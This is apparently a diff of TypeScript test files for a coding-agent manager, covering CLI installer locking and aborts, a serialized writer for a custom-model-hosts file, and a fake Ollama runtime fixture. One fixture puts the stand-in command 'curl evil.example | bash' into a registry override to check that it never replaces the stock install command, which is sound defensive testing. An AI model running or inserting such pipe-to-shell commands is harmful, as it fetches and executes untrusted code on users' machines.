vi.mock('../src/utils/cli-executable-resolver.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/cli-executable-resolver.js')>();
return {
...actual,
invalidateCliExecutableResolvers: (binaries: readonly string[]) => {
invalidateBinariesSpy([...binaries]);
actual.invalidateCliExecutableResolvers(binaries);
},
};
});
vi.mock('../src/utils/cli-resolver.js', async (importOriginal) => {
const actual = await importOriginal<typeof import('../src/utils/cli-resolver.js')>();
return {
...actual,
invalidateCliResolverCache: (id?: string) => {
invalidateIdSpy(id);
actual.invalidateCliResolverCache(id);
},
};
});
interface FakeChild extends EventEmitter {
pid: number;
stdout: EventEmitter;
stderr: EventEmitter;
}
/** A spawned installer that stays alive until the test ends it. */
function hangingChild(pid = 4_242_424): FakeChild {
const child = new EventEmitter() as FakeChild;
child.pid = pid;
child.stdout = new EventEmitter();
child.stderr = new EventEmitter();
return child;
}
beforeEach(() => {
spawnMock.mockReset();
invalidateBinariesSpy.mockClear();
invalidateIdSpy.mockClear();
});
afterEach(() => {
vi.useRealTimers();
vi.restoreAllMocks();
});
describe('stockInstallCommand', () => {
afterEach(() => {
rmSync(registryFilePath(), { force: true });
reloadCliRegistry();
});
it('is the compiled stock command of every stock CLI that has one for this platform', () => {
for (const entry of STOCK_CLIS) {
const expected = resolveInstallCommandForPlatform(entry);
expect(stockInstallCommand(entry.id as string)).toBe(expected && expected.trim() !== '' ? expected : undefined);
}
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
});
it('is undefined for an id that is not a stock CLI', () => {
expect(stockInstallCommand('not-a-cli')).toBeUndefined();
expect(stockInstallCommand('')).toBeUndefined();
expect(stockInstallCommand('__proto__')).toBeUndefined();
});
it('ignores a clis.json override: the registry shows the override, the stock command stays', () => {
mkdirSync(dirname(registryFilePath()), { recursive: true });
writeFileSync(
registryFilePath(),
JSON.stringify({
schemaVersion: 1,
clis: {
opencode: {
discovery: {
install: { command: { linux: 'curl evil.example | bash', darwin: 'curl evil.example | bash' } },
},
},
},
}),
{ mode: 0o600 }
);
reloadCliRegistry();
// The override is in force for the registry (what the Settings list shows and the route runs)...
expect(resolveInstallCommandForPlatform(getCli('opencode')!)).toBe('curl evil.example | bash');
// ...and is not what the local model install job would run.
expect(stockInstallCommand('opencode')).toBe('curl -fsSL https://opencode.ai/install | bash');
});
});
describe('tryBeginCliInstall', () => {
it('gives one slot per CLI id, and the slot comes back when it is released', () => {
const release = tryBeginCliInstall('slot-a');
expect(release).toBeTypeOf('function');
expect(tryBeginCliInstall('slot-a')).toBeNull();
// Another CLI has its own slot.
const other = tryBeginCliInstall('slot-b');
expect(other).toBeTypeOf('function');
release!();
const again = tryBeginCliInstall('slot-a');
expect(again).toBeTypeOf('function');
again!();
other!();
});
it('a release called twice frees the slot once: a later holder is not thrown out', () => {
const first = tryBeginCliInstall('slot-c')!;
first();
const second = tryBeginCliInstall('slot-c')!;
first();
expect(tryBeginCliInstall('slot-c')).toBeNull();
second();
});
it('is the slot the registry route uses: while it is held, POST /api/clis/:id/install answers 409 and spawns nothing', async () => {
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
writeFileSync(SETTINGS_PATH, JSON.stringify({ cliManagementEnabled: true }));
const { app } = await createRouteTestHarness(registerCliRegistryRoutes);
const release = tryBeginCliInstall('grok')!;
try {
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT' });
expect(spawnMock).not.toHaveBeenCalled();
} finally {
release();
}
// Released: the route installs again.
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => child.emit('close', 0));
return child;
});
const res = await app.inject({ method: 'POST', url: '/api/clis/grok/install' });
expect(res.json()).toMatchObject({ success: true, data: { id: 'grok', code: 0 } });
// And the route gave the slot back when its install ended.
const after = tryBeginCliInstall('grok');
expect(after).toBeTypeOf('function');
after!();
});
});
describe('runInstallCommand', () => {
it('runs the command in a shell of its own process group and reports how it ended', async () => {
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => {
child.stdout.emit('data', Buffer.from('installed\n'));
child.emit('close', 0);
});
return child;
});
const result = await runInstallCommand('echo hello');
expect(result).toEqual({ code: 0, output: 'installed\n', timedOut: false, aborted: false });
expect(spawnMock).toHaveBeenCalledTimes(1);
expect(spawnMock.mock.calls[0][0]).toBe('echo hello');
expect(spawnMock.mock.calls[0][1]).toMatchObject({ shell: true, detached: true });
});
it('a spawn that throws is a result, not an exception', async () => {
spawnMock.mockImplementation(() => {
throw new Error('ENOENT sh');
});
expect(await runInstallCommand('echo hello')).toEqual({
code: null,
output: 'spawn failed: ENOENT sh',
timedOut: false,
aborted: false,
});
});
it('a signal that is already aborted starts nothing', async () => {
const controller = new AbortController();
controller.abort();
expect(await runInstallCommand('echo hello', { signal: controller.signal })).toEqual({
code: null,
output: '',
timedOut: false,
aborted: true,
});
expect(spawnMock).not.toHaveBeenCalled();
});
it('an abort kills the whole process group: SIGTERM at once, SIGKILL three seconds later', async () => {
vi.useFakeTimers();
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
const child = hangingChild(777_777);
spawnMock.mockImplementation(() => child);
const controller = new AbortController();
const pending = runInstallCommand('echo hello', { signal: controller.signal });
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
controller.abort();
// The negative pid is the group: the installer's own children go with it.
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGTERM');
expect(kill).not.toHaveBeenCalledWith(-777_777, 'SIGKILL');
await vi.advanceTimersByTimeAsync(3_000);
expect(kill).toHaveBeenCalledWith(-777_777, 'SIGKILL');
child.emit('close', null);
expect(await pending).toEqual({ code: null, output: '', timedOut: false, aborted: true });
});
it('an aborted installer that never closes is given up on after eight seconds', async () => {
vi.useFakeTimers();
vi.spyOn(process, 'kill').mockImplementation(() => true);
spawnMock.mockImplementation(() => hangingChild());
const controller = new AbortController();
const pending = runInstallCommand('echo hello', { signal: controller.signal });
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
controller.abort();
await vi.advanceTimersByTimeAsync(8_000);
expect(await pending).toMatchObject({ code: null, aborted: true, timedOut: false });
});
it('the timeout still kills the group and says so, as it did in the route', async () => {
vi.useFakeTimers();
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
const child = hangingChild(888_888);
spawnMock.mockImplementation(() => child);
const pending = runInstallCommand('echo hello');
await vi.waitFor(() => expect(spawnMock).toHaveBeenCalledTimes(1));
await vi.advanceTimersByTimeAsync(CLI_INSTALL_TIMEOUT_MS);
expect(kill).toHaveBeenCalledWith(-888_888, 'SIGTERM');
child.emit('close', null);
expect(await pending).toEqual({ code: null, output: '', timedOut: true, aborted: false });
});
it('an abort after the installer ended does nothing', async () => {
const kill = vi.spyOn(process, 'kill').mockImplementation(() => true);
spawnMock.mockImplementation(() => {
const child = hangingChild();
setImmediate(() => child.emit('close', 0));
return child;
});
const controller = new AbortController();
const result = await runInstallCommand('echo hello', { signal: controller.signal });
controller.abort();
expect(result.aborted).toBe(false);
expect(kill).not.toHaveBeenCalled();
});
});
describe('forgetResolvedCli', () => {
it('drops the per-binary caches and the per-id resolver', () => {
forgetResolvedCli('opencode', ['opencode', 'opencode-bin']);
expect(invalidateBinariesSpy).toHaveBeenCalledWith(['opencode', 'opencode-bin']);
expect(invalidateIdSpy).toHaveBeenCalledWith('opencode');
});
});
+7 -4
View File
@@ -167,7 +167,6 @@ const ALLOWED_BRANCHES: Record<string, Allowance> = {
),
"tui/tui-render.ts::mode !== 'claude'": allow(1, 'cosmetic: suppress the mode badge for the default mode'),
// Legacy <Mode>Config plumbing, same category as the `===` entries above.
"web/routes/session-routes.ts::mode !== 'omp'": allow(
2,
@@ -212,8 +211,10 @@ const ID_ALT = IDS.join('|');
*/
const BRANCH_PATTERN = new RegExp(
[
// mode === 'codex' / mode !== 'codex'
`\\b(?:mode|id|agentType)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
// mode === 'codex' / mode !== 'codex'. `cli` is the name the local model catalogue gives
// the same thing (`LocalHarnessEntry.cli`, `Candidate.cli`), so `harness.cli === 'claude'`
// is the same banned branch under another field name.
`\\b(?:mode|id|agentType|cli)\\s*[!=]==\\s*'(?:${ID_ALT})'`,
// case 'codex':
`\\bcase\\s+'(?:${ID_ALT})'\\s*:`,
// ['codex', 'gemini'].includes(mode) — the id list IS the branch, wherever `mode` sits
@@ -267,7 +268,7 @@ function scan(): { findings: Finding[]; filesScanned: number } {
lines.forEach((line, i) => {
BRANCH_PATTERN.lastIndex = 0; // shared /g regex — see utils/regex-patterns.ts
for (const match of line.matchAll(BRANCH_PATTERN)) {
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType)/, 'mode');
const expression = match[0].replace(/\s+/g, ' ').replace(/^(?:id|agentType|cli)/, 'mode');
const posix = rel.split(sep).join('/');
findings.push({ file: posix, expression, line: i + 1, key: `${posix}::${expression}` });
}
@@ -337,6 +338,8 @@ describe('no CLI-id branching outside the stock catalog', () => {
"if (mode !== 'shell' && mode !== 'deepseek') { doSomething(); }",
"switch (mode) { case 'gemini': return 1; }",
"if (['codex', 'gemini'].includes(mode)) { doSomething(); }",
"if (harness.cli === 'claude') { doSomething(); }",
"const others = candidates.filter((c) => c.cli !== 'opencode');",
];
for (const sample of samples) {
BRANCH_PATTERN.lastIndex = 0;
+107 -2
View File
@@ -13,7 +13,9 @@
* directly plus the mocked webviewFetch dispatcher).
*/
import { describe, it, expect, vi, beforeEach } from 'vitest';
import { getDataDir } from '../src/config/instance.js';
import { readFileSync, rmSync, writeFileSync } from 'node:fs';
import { dataPath, getDataDir } from '../src/config/instance.js';
import { customModelHostsPath } from '../src/custom-model-hosts.js';
import { readCustomModelHosts, writeCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
import { clearPropsProbeCache, refreshAllCustomModelHosts } from '../src/web/routes/custom-model-routes.js';
import { webviewFetch } from '../src/web/webview-egress.js';
@@ -498,7 +500,9 @@ describe('refreshAllCustomModelHosts: parallel-slot enrichment (llama.cpp splits
if (url.pathname === '/running') {
return new Response(
JSON.stringify({
running: [{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' }],
running: [
{ model: 'm', state: 'ready', cmd: 'llama-server -m /models/m.gguf --ctx-size 262144 --parallel 4' },
],
}),
{ status: 200 }
);
@@ -602,3 +606,104 @@ describe('refreshAllCustomModelHosts: model-size enrichment (parsed from /v1/mod
expect(updated.modelSizesGB).toEqual({ a: 8 }); // 'a' kept from before, 'b' dropped (gone from the list)
});
});
describe('the sweep and the serialized writer', () => {
it('an endpoint created while the sweep was probing another one is kept', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [host({ id: 'probed', baseUrl: 'http://localhost:8080' })]);
fetchMock.mockImplementation(async () => {
// An admin saves a second endpoint between the sweep's read and its write. The sweep
// must splice its result onto the list as it is then, not write back the one it read.
const current = await readCustomModelHosts(dir);
if (!current.some((h) => h.id === 'added')) {
await writeCustomModelHosts(dir, [...current, host({ id: 'added', baseUrl: 'http://localhost:8082' })]);
}
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
});
await refreshAllCustomModelHosts();
const hosts = await readCustomModelHosts(dir);
expect(hosts.map((h) => h.id)).toEqual(['probed', 'added']);
expect(hosts[0].models).toEqual(['qwen3']);
});
it('never writes over a store that stopped parsing while the sweep ran', async () => {
const dir = getDataDir();
vi.spyOn(console, 'warn').mockImplementation(() => {});
await writeCustomModelHosts(dir, [
host({ id: 'a', baseUrl: 'http://localhost:8080', apiKey: 'sk-keep' }),
host({ id: 'b', baseUrl: 'http://localhost:8081' }),
]);
const broken = '[{"id":"a","apiKey":"sk-keep"},';
fetchMock.mockImplementation(async () => {
writeFileSync(customModelHostsPath(dir), broken);
return new Response(JSON.stringify({ data: [{ id: 'qwen3' }] }), { status: 200 });
});
await expect(refreshAllCustomModelHosts()).resolves.toBeUndefined();
// It used to read the broken file as an empty list and carry on; it is left as it is.
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(broken);
// And the sweep stopped there: the second endpoint was not probed for nothing.
expect(fetchMock.mock.calls.every(([url]) => !(url as URL).href.includes('8081'))).toBe(true);
vi.restoreAllMocks();
});
});
describe('the sweep leaves the local model record alone', () => {
const STATE = () => dataPath('local-model.json');
const MANAGED: CustomModelHost = {
id: 'local-ollama',
label: 'This Mac',
baseUrl: 'http://127.0.0.1:11435',
authStyle: 'bearer',
models: ['qwen3.6:35b-a3b'],
defaultModelId: 'qwen3.6:35b-a3b',
defaultContextLength: 131072,
};
beforeEach(() => {
rmSync(STATE(), { force: true });
});
it('while it is managed: it is not probed, and a model somebody pulled through the port does not become launchable', async () => {
const dir = getDataDir();
writeFileSync(
STATE(),
JSON.stringify({
schema: 1,
state: 'installed',
model: { id: 'qwen3.6:35b-a3b', label: 'Qwen3.6 35B-A3B', context: 131072 },
cli: { id: 'opencode', label: 'OpenCode' },
runtime: { version: '0.40.15', port: 11435, enabled: true },
connection: { endpointId: 'local-ollama', flagWasEnabled: false },
})
);
await writeCustomModelHosts(dir, [MANAGED, host({ id: 'other', baseUrl: 'http://localhost:8080' })]);
fetchMock.mockImplementation(
async () =>
new Response(JSON.stringify({ data: [{ id: 'qwen3.6:35b-a3b' }, { id: 'sneaked-in:7b' }] }), { status: 200 })
);
await refreshAllCustomModelHosts();
const hosts = await readCustomModelHosts(dir);
// Our record is exactly what the install wrote: no new model, no discovery stamp.
expect(hosts.find((h) => h.id === 'local-ollama')).toEqual(MANAGED);
// Every other endpoint is refreshed as before.
expect(hosts.find((h) => h.id === 'other')?.models).toEqual(['qwen3.6:35b-a3b', 'sneaked-in:7b']);
for (const [url] of fetchMock.mock.calls) expect((url as URL).href).not.toContain('11435');
rmSync(STATE(), { force: true });
});
it('a record with that id that nobody installed is refreshed like any other', async () => {
const dir = getDataDir();
await writeCustomModelHosts(dir, [{ ...MANAGED, models: [], defaultModelId: undefined }]);
fetchMock.mockImplementation(
async () => new Response(JSON.stringify({ data: [{ id: 'mine:1b' }] }), { status: 200 })
);
await refreshAllCustomModelHosts();
expect((await readCustomModelHosts(dir))[0].models).toEqual(['mine:1b']);
});
});
+239
View File
@@ -0,0 +1,239 @@
/**
* @fileoverview The serialized writer of `custom-model-hosts.json`
* (src/custom-model-hosts-writer.ts) and the rule that every writer in src/ goes through it.
*
* What is pinned:
* - two mutations started at the same moment both land (the fault the writer ends: the
* endpoint routes and the discovery sweep used to read, change and write on their own);
* - the check a caller makes runs in the same step as its write;
* - a file that does not parse is refused and left byte for byte, and the refusal never
* repeats the file's text (it can hold an API key);
* - the file is written 0600 through a temp file that is gone afterwards;
* - no module of src/ calls `writeCustomModelHosts()` any more.
*
* Port: N/A (no server; files in a temp folder).
*/
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { mkdtempSync, readdirSync, readFileSync, rmSync, statSync, symlinkSync, writeFileSync } from 'node:fs';
import { tmpdir } from 'node:os';
import { join } from 'node:path';
import { fileURLToPath } from 'node:url';
import {
CustomModelHostsWriteRefusedError,
customModelHostsWriteErrorResponse,
mutateCustomModelHosts,
} from '../src/custom-model-hosts-writer.js';
import { customModelHostsPath, readCustomModelHosts, type CustomModelHost } from '../src/custom-model-hosts.js';
const host = (id: string, extra: Partial<CustomModelHost> = {}): CustomModelHost => ({
id,
label: id,
baseUrl: `http://${id}.example:8080`,
...extra,
});
let dir: string;
beforeEach(() => {
dir = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-'));
});
afterEach(() => {
rmSync(dir, { recursive: true, force: true });
vi.restoreAllMocks();
});
describe('mutateCustomModelHosts', () => {
it('starts from an empty list when the file is missing, and writes what the mutation returns', async () => {
const result = await mutateCustomModelHosts((hosts) => {
expect(hosts).toEqual([]);
return { hosts: [host('a')], result: 'added' };
}, dir);
expect(result).toBe('added');
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
it('an empty file is an empty list too: it holds no endpoint to lose', async () => {
writeFileSync(customModelHostsPath(dir), ' \n');
await mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('a')], result: undefined }), dir);
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
it('writes nothing when the mutation returns no list', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
const before = statSync(customModelHostsPath(dir)).mtimeMs;
const result = await mutateCustomModelHosts((hosts) => ({ result: hosts.length }), dir);
expect(result).toBe(1);
expect(statSync(customModelHostsPath(dir)).mtimeMs).toBe(before);
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(JSON.stringify([host('a')]));
});
it('two mutations started together both land: the second sees what the first wrote', async () => {
const seen: string[][] = [];
const add = (id: string) =>
mutateCustomModelHosts((hosts) => {
seen.push(hosts.map((item) => item.id));
return { hosts: [...hosts, host(id)], result: id };
}, dir);
const results = await Promise.all([add('first'), add('second')]);
expect(results).toEqual(['first', 'second']);
expect(seen).toEqual([[], ['first']]);
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['first', 'second']);
});
it('twenty mutations at once keep every record (unserialized writers lost all but the last)', async () => {
const ids = Array.from({ length: 20 }, (_, i) => `ep${i}`);
await Promise.all(
ids.map((id) => mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host(id)], result: undefined }), dir))
);
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(ids);
// Every temp file was renamed over the target: only the one file is left.
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
});
it('a check made inside the mutation is made on the list as it is then: two creates of one id, one wins', async () => {
const create = (label: string) =>
mutateCustomModelHosts<'created' | 'exists'>((hosts) => {
if (hosts.some((item) => item.id === 'same')) return { result: 'exists' };
return { hosts: [...hosts, host('same', { label })], result: 'created' };
}, dir);
expect(await Promise.all([create('one'), create('two')])).toEqual(['created', 'exists']);
expect(await readCustomModelHosts(dir)).toEqual([host('same', { label: 'one' })]);
});
it('hands the mutation a list it may change in place', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a'), host('b')]));
await mutateCustomModelHosts((hosts) => {
hosts[1] = { ...hosts[1], label: 'changed' };
return { hosts, result: undefined };
}, dir);
expect((await readCustomModelHosts(dir)).map((item) => item.label)).toEqual(['a', 'changed']);
});
it('writes the file 0600 (it holds API keys), also over a file that was world-readable', async () => {
writeFileSync(customModelHostsPath(dir), '[]', { mode: 0o644 });
await mutateCustomModelHosts(() => ({ hosts: [host('a', { apiKey: 'sk-secret' })], result: undefined }), dir);
expect(statSync(customModelHostsPath(dir)).mode & 0o777).toBe(0o600);
});
it('writes through a symlink: the real file changes and the link stays a link', async () => {
const real = join(dir, 'real-hosts.json');
writeFileSync(real, '[]');
symlinkSync(real, customModelHostsPath(dir));
await mutateCustomModelHosts(() => ({ hosts: [host('a')], result: undefined }), dir);
expect(JSON.parse(readFileSync(real, 'utf8'))).toEqual([host('a')]);
expect(await readCustomModelHosts(dir)).toEqual([host('a')]);
});
describe('a file that must not be overwritten', () => {
const broken = '[{"id":"keep","apiKey":"sk-do-not-leak"},';
it.each([
['text that does not parse', broken],
['a JSON object instead of a list', '{"id":"keep","apiKey":"sk-do-not-leak"}'],
['a JSON string', '"sk-do-not-leak"'],
])('refuses %s, leaves it byte for byte and never calls the mutation', async (_label, content) => {
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(customModelHostsPath(dir), content);
const fn = vi.fn(() => ({ hosts: [host('new')], result: undefined }));
await expect(mutateCustomModelHosts(fn, dir)).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
expect(fn).not.toHaveBeenCalled();
expect(readFileSync(customModelHostsPath(dir), 'utf8')).toBe(content);
expect(readdirSync(dir)).toEqual(['custom-model-hosts.json']);
// Neither the error nor the log repeats the file, which holds a key.
const error = await mutateCustomModelHosts(fn, dir).catch((err: Error) => err);
expect((error as Error).message).not.toContain('sk-do-not-leak');
expect((error as Error).message).toContain('custom-model-hosts.json');
expect(warn.mock.calls.flat().join(' ')).not.toContain('sk-do-not-leak');
});
it('the plain reader calls such a file an empty list, which is why a writer must not start from it', async () => {
writeFileSync(customModelHostsPath(dir), broken);
expect(await readCustomModelHosts(dir)).toEqual([]);
});
it('a refused mutation does not stop the ones after it', async () => {
vi.spyOn(console, 'warn').mockImplementation(() => {});
writeFileSync(customModelHostsPath(dir), broken);
const refused = mutateCustomModelHosts(() => ({ hosts: [], result: undefined }), dir);
const other = mkdtempSync(join(tmpdir(), 'codeman-hosts-writer-other-'));
try {
const next = mutateCustomModelHosts(() => ({ hosts: [host('a')], result: 'ok' }), other);
await expect(refused).rejects.toBeInstanceOf(CustomModelHostsWriteRefusedError);
expect(await next).toBe('ok');
expect(await readCustomModelHosts(other)).toEqual([host('a')]);
} finally {
rmSync(other, { recursive: true, force: true });
}
});
});
it('a mutation that throws rejects its own caller, writes nothing, and the chain goes on', async () => {
writeFileSync(customModelHostsPath(dir), JSON.stringify([host('a')]));
const thrown = mutateCustomModelHosts(() => {
throw new Error('boom');
}, dir);
const next = mutateCustomModelHosts((hosts) => ({ hosts: [...hosts, host('b')], result: undefined }), dir);
await expect(thrown).rejects.toThrow('boom');
await next;
expect((await readCustomModelHosts(dir)).map((item) => item.id)).toEqual(['a', 'b']);
});
});
describe('customModelHostsWriteErrorResponse', () => {
it('a refused write is 409 CONFLICT with the fix', () => {
const response = customModelHostsWriteErrorResponse(
new CustomModelHostsWriteRefusedError('the file is not a valid JSON list')
);
expect(response).toEqual({
success: false,
error: 'the file is not a valid JSON list',
errorCode: 'CONFLICT',
});
});
it('any other failure stays OPERATION_FAILED', () => {
expect(customModelHostsWriteErrorResponse(new Error('EACCES'))).toMatchObject({
success: false,
errorCode: 'OPERATION_FAILED',
error: 'EACCES',
});
});
});
describe('every writer goes through the serialized writer', () => {
const root = fileURLToPath(new URL('../', import.meta.url));
function sourceFiles(folder: string, out: string[] = []): string[] {
for (const name of readdirSync(folder)) {
const path = join(folder, name);
if (statSync(path).isDirectory()) {
if (name !== 'public' && name !== 'node_modules') sourceFiles(path, out);
} else if (name.endsWith('.ts')) {
out.push(path);
}
}
return out;
}
/** The file without its comment lines: a comment may name the function it explains. */
const code = (path: string): string =>
readFileSync(path, 'utf8')
.split('\n')
.filter((line) => !/^\s*(\/\/|\*|\/\*)/.test(line))
.join('\n');
it('no module of src/ calls writeCustomModelHosts(): the store itself only defines it', () => {
const callers = sourceFiles(join(root, 'src'))
.filter((path) => /\bwriteCustomModelHosts\s*\(/.test(code(path)))
.map((path) => path.slice(root.length));
expect(callers).toEqual(['src/custom-model-hosts.ts']);
});
it('the endpoint routes and the sweep name the writer, five times', () => {
const routes = code(join(root, 'src/web/routes/custom-model-routes.ts'));
// create, update, delete, discover-models and the re-discovery sweep.
expect(routes.match(/await mutateCustomModelHosts</g)).toHaveLength(5);
expect(routes).not.toContain('writeCustomModelHosts');
});
});
+3 -9
View File
@@ -1,16 +1,10 @@
import { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { mkdtempSync, rmSync } from 'node:fs';
import { join } from 'node:path';
import { homedir, tmpdir } from 'node:os';
import { homedir } from 'node:os';
import { safeRmHomeTree } from './mocks/index.js';
const CASES_DIR = join(homedir(), 'codeman-cases');
// A folder of this file's own for the sessions below, never the machine's real `/tmp`:
// a create writes the workspace hooks and the agent skill (on by default) into its
// working dir, and those would outlive the run there.
const WORK_DIR = mkdtempSync(join(tmpdir(), 'codeman-edge-cases-'));
afterAll(() => rmSync(WORK_DIR, { recursive: true, force: true }));
describe('Edge Cases and Error Handling', () => {
let server: WebServer;
@@ -285,7 +279,7 @@ describe('Concurrent Session Handling', () => {
fetch(`${baseUrl}/api/sessions`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ workingDir: WORK_DIR }),
body: JSON.stringify({ workingDir: '/tmp' }),
}).then((r) => r.json())
);
@@ -318,7 +312,7 @@ describe('Concurrent Session Handling', () => {
const createRes = await fetch(`${baseUrl}/api/sessions`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ workingDir: WORK_DIR }),
body: JSON.stringify({ workingDir: '/tmp' }),
});
const createData = await createRes.json();
expect(createData.success).toBe(true);
+810
View File
@@ -0,0 +1,810 @@
/**
* @fileoverview A fake model runtime for the local model tests: an in-process HTTP server on
* a port the system picks, plus a fake child process that "is" the runtime, so a test starts
* no real runtime, downloads no real model and binds no fixed port.
*
* Plain `node:http`, like test/fixtures/mock-openai-server.ts. Every request is captured
* (`requests`: method, path, headers, parsed JSON body). Every answer has the shape the real
* runtime (0.40.15) gave on 2026-11-06; where a shape was not captured, the comment at its
* handler says so.
*
* What it answers:
*
* | Route | Answer |
* |-----------------------------------|---------------------------------------------------------------------|
* | `GET /` | `Ollama is running` |
* | `GET /api/version` | `{"version":"0.40.15"}` |
* | `GET /api/tags` | the model once it is installed (digest, format, runner) |
* | `GET /api/ps` | the model once a chat loaded it (`size`, `size_vram`, `context_length`) |
* | `POST /api/pull` | NDJSON progress, see `FakePullSwitches` |
* | `DELETE /api/delete` | 200, or 404 for a model that is not installed |
* | `GET /v1/models` | the model's id, or `data: null` when none is installed (as the real one) |
* | `POST /v1/chat/completions` | a plain answer, or a tool call when the request carries `tools` |
* | `GET /download/ollama-darwin.tgz` | a small real `.tgz` with Range support, see `FakeArchiveSwitches` |
*
* The switches (`fake.switches`, changeable between requests):
* - `pull.fail`: `error-line` (the real `{"error":"max retries exceeded: ..."}` line),
* `cut` (the socket is destroyed mid-stream) or `not-found`; `pull.failTimes` says how many
* pulls fail before one succeeds; `pull.resumeFrom` and the fake's own memory of how far the
* last pull got make the next pull's first line start there, as a resumed pull does.
* - `pull.shape`: `mlx` (one line shape, what a Mac really gets) or `gguf` (one layer after
* the other).
* - `ps`: `sizeVram` below `size` (not all on the GPU), another `contextLength`, or
* `loaded: false`.
* - `chat`: `error` makes the chat that loads the model fail.
* - `tool`: `call` (default), `none` (an answer without a tool call), `length` (the token
* limit ended the answer), `bad-arguments` (a tool call whose arguments are not JSON).
* - `archive`: cut the download after N bytes for the first M requests, ignore `Range`, or
* answer another status.
* - `spawn`: the fake child never listens, or exits at once.
*
* The fake child (`fake.spawn`, the shape of `RuntimeSupervisorDeps.spawn`): "starting" it
* makes the fake listen on the port of `OLLAMA_HOST` from the environment it is given and
* writes the runtime's start-up log to its stderr, including the line "inference compute"
* with the device total. Killing it closes the listener and emits `exit`. So a supervisor
* test reserves a port (`freeLoopbackPort()`), builds the fake with `createFakeOllama()`
* (not listening yet) and injects `fake.spawn`.
*
* Port: none fixed. `startFakeOllama()` listens on 0 and reports `port`.
*/
import { createHash } from 'node:crypto';
import { EventEmitter } from 'node:events';
import { createServer, type IncomingMessage, type Server, type ServerResponse } from 'node:http';
import { createServer as createNetServer, type AddressInfo, type Socket } from 'node:net';
import { PassThrough } from 'node:stream';
import { gzipSync } from 'node:zlib';
import type { ChildProcess, SpawnOptions } from 'node:child_process';
import type { LocalModelRuntimePin } from '../../src/types.js';
// ---------- Real log lines ----------
/**
* The runtime's line with the device total, VERBATIM from the 16 GB Mac mini (Apple M4),
* 2026-11-06. `parseInferenceComputeTotal()` must read 11.8 GiB from it.
*/
export const REAL_INFERENCE_COMPUTE_LINE_MAC_MINI =
'time=2026-11-06T13:21:49.885+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M4" libdirs="" driver=0.0 pci_id="" type=iGPU total="11.8 GiB" available="11.8 GiB"';
/**
* The same line for the 48 GB MacBook (Apple M5 Pro), RECONSTRUCTED: the measurement notes of
* 2026-11-06 quote only `total="37.4 GiB" available="37.4 GiB"` from it, so the rest is the
* Mac mini's line with the chip name and a time filled in (hence no `REAL_` in the name).
* `parseInferenceComputeTotal()` must read 40,157,944,217 bytes from it.
*/
export const INFERENCE_COMPUTE_LINE_MACBOOK =
'time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="37.4 GiB" available="37.4 GiB"';
/** 37.4 GiB in bytes, rounded down: what the MacBook line stands for. */
export const MACBOOK_MEASURED_TOTAL_BYTES = 40_157_944_217;
/**
* The line that FOLLOWS it and also carries the total, under another key. Verbatim from the
* Mac mini. A parser of the budget must not need it and must not be confused by it.
*/
export const REAL_VRAM_DEFAULT_CONTEXT_LINE_MAC_MINI =
'time=2026-11-06T13:21:49.885+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="11.8 GiB" default_num_ctx=4096';
/**
* What the runtime writes when it starts, in order, with `total` as the device total (the
* text inside the quotes, such as '37.4 GiB'). The shapes are the Mac mini's.
*/
export function fakeRuntimeLog(total = '37.4 GiB', port = 11435): string[] {
return [
`time=2026-11-06T15:04:12.210+01:00 level=INFO source=routes.go:2536 msg="Listening on 127.0.0.1:${port} (version 0.40.15)"`,
'time=2026-11-06T15:04:12.211+01:00 level=INFO source=runner.go:60 msg="discovering available GPUs..."',
`time=2026-11-06T15:04:12.371+01:00 level=INFO source=types.go:32 msg="inference compute" id=0 filter_id=0 library=Metal compute=0.0 name=MTL0 description="Apple M5 Pro" libdirs="" driver=0.0 pci_id="" type=iGPU total="${total}" available="${total}"`,
`time=2026-11-06T15:04:12.371+01:00 level=INFO source=routes.go:2586 msg="vram-based default context" total_vram="${total}" default_num_ctx=32768`,
];
}
/** The error line of a pull whose download kept failing. Verbatim from the Mac mini. */
